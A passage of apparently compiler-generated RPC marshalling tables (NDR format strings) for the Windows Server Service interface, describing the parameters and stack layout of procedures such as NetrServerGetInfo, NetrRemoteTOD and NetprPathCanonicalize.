1022 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1024 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1026 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1028 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1030 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1032 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1034 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1036 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1038 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1040 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1042 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1044 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1046 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1048 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1050 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Device */\n\n/* 1052 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1054 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1056 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Type */\n\n/* 1058 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1060 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1062 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1064 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1066 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1068 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerGetInfo */\n\n/* 1070 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1072 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1076 */\tNdrFcShort( 0x15 ),\t/* 21 */\n/* 1078 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1080 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1082 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1084 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1086 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1088 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1090 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1092 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1094 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1096 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1098 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1100 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1102 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1104 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1106 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1108 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1110 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1112 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 1114 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 1116 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1118 */\tNdrFcShort( 0x748 ),\t/* Type Offset=1864 */\n\n\t/* Return value */\n\n/* 1120 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1122 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1124 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerSetInfo */\n\n/* 1126 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1128 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1132 */\tNdrFcShort( 0x16 ),\t/* 22 */\n/* 1134 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1136 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1138 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1140 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1142 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1144 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1146 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1148 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1150 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1152 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1154 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1156 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1158 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1160 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1162 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1164 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1166 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1168 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ServerInfo */\n\n/* 1170 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1172 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1174 */\tNdrFcShort( 0x9d0 ),\t/* Type Offset=2512 */\n\n\t/* Parameter ParmErr */\n\n/* 1176 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1178 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1180 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 1182 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1184 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1186 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerDiskEnum */\n\n/* 1188 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1190 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1194 */\tNdrFcShort( 0x17 ),\t/* 23 */\n/* 1196 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1198 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1200 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1202 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1204 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 1206 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1208 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 1210 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1212 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1214 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1216 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1218 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1220 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1222 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1224 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1226 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1228 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1230 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter DiskInfoStruct */\n\n/* 1232 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 1234 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1236 */\tNdrFcShort( 0xa24 ),\t/* Type Offset=2596 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 1238 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1240 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1242 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 1244 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1246 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1248 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 1250 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1252 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1254 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 1256 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1258 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1260 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerStatisticsGet */\n\n/* 1262 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1264 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1268 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1270 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1272 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1274 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1276 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1278 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1280 */\tNdrFcShort( 0x84 ),\t/* 132 */\n/* 1282 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1284 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1286 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1288 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1290 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1292 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1294 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1296 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1298 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Service */\n\n/* 1300 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1302 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1304 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1306 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1308 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1310 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Options */\n\n/* 1312 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1314 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1316 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 1318 */\tNdrFcShort( 0x2012 ),\t/* Flags:  must free, out, srv alloc size=8 */\n/* 1320 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1322 */\tNdrFcShort( 0xa34 ),\t/* Type Offset=2612 */\n\n\t/* Return value */\n\n/* 1324 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1326 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerTransportAdd */\n\n/* 1330 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1332 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1336 */\tNdrFcShort( 0x19 ),\t/* 25 */\n/* 1338 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1340 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1342 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1344 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1346 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1348 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1350 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1352 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1354 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1356 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1360 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1362 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1364 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1366 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1368 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1370 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1372 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Buffer */\n\n/* 1374 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1376 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1378 */\tNdrFcShort( 0xa6c ),\t/* Type Offset=2668 */\n\n\t/* Return value */\n\n/* 1380 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1382 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1384 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerTransportEnum */\n\n/* 1386 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1388 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1392 */\tNdrFcShort( 0x1a ),\t/* 26 */\n/* 1394 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1396 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1398 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1400 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1402 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1404 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1406 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1408 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 1410 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1412 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1414 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1416 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1418 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1420 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1422 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 1424 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 1426 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1428 */\tNdrFcShort( 0xc2a ),\t/* Type Offset=3114 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 1430 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1432 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1434 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 1436 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1438 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1440 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 1442 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1444 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1446 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 1448 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1450 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1452 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrServerTransportDel */\n\n/* 1454 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1460 */\tNdrFcShort( 0x1b ),\t/* 27 */\n/* 1462 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1464 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1466 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1468 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1470 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1472 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1474 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 1476 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1478 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1480 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1482 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1484 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1486 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1488 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1490 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 1492 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1494 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1496 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Buffer */\n\n/* 1498 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1500 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1502 */\tNdrFcShort( 0xa6c ),\t/* Type Offset=2668 */\n\n\t/* Return value */\n\n/* 1504 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1506 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1508 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrRemoteTOD */\n\n/* 1510 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1512 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1516 */\tNdrFcShort( 0x1c ),\t/* 28 */\n/* 1518 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1520 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1522 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1524 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1526 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1528 */\tNdrFcShort( 0x70 ),\t/* 112 */\n/* 1530 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 1532 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1534 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1536 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1538 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1540 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1542 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1544 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1546 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter BufferPtr */\n\n/* 1548 */\tNdrFcShort( 0x2012 ),\t/* Flags:  must free, out, srv alloc size=8 */\n/* 1550 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1552 */\tNdrFcShort( 0xc3a ),\t/* Type Offset=3130 */\n\n\t/* Return value */\n\n/* 1554 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1556 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1558 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum29NotUsedOnWire */\n\n/* 1560 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1562 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1566 */\tNdrFcShort( 0x1d ),\t/* 29 */\n/* 1568 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1570 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1572 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1574 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1576 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1578 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 1580 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1582 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1584 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1586 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1588 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure NetprPathType */\n\n/* 1590 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1592 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1596 */\tNdrFcShort( 0x1e ),\t/* 30 */\n/* 1598 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1600 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1602 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1604 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1606 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1608 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1610 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 1612 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1614 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1618 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1620 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 1622 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1624 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1626 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter PathName */\n\n/* 1628 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1630 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1632 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter PathType */\n\n/* 1634 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1636 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1638 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Flags */\n\n/* 1640 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1642 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1644 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1646 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1648 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1650 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetprPathCanonicalize */\n\n/* 1652 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1654 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1658 */\tNdrFcShort( 0x1f ),\t/* 31 */\n/* 1660 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1662 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1664 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1666 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD 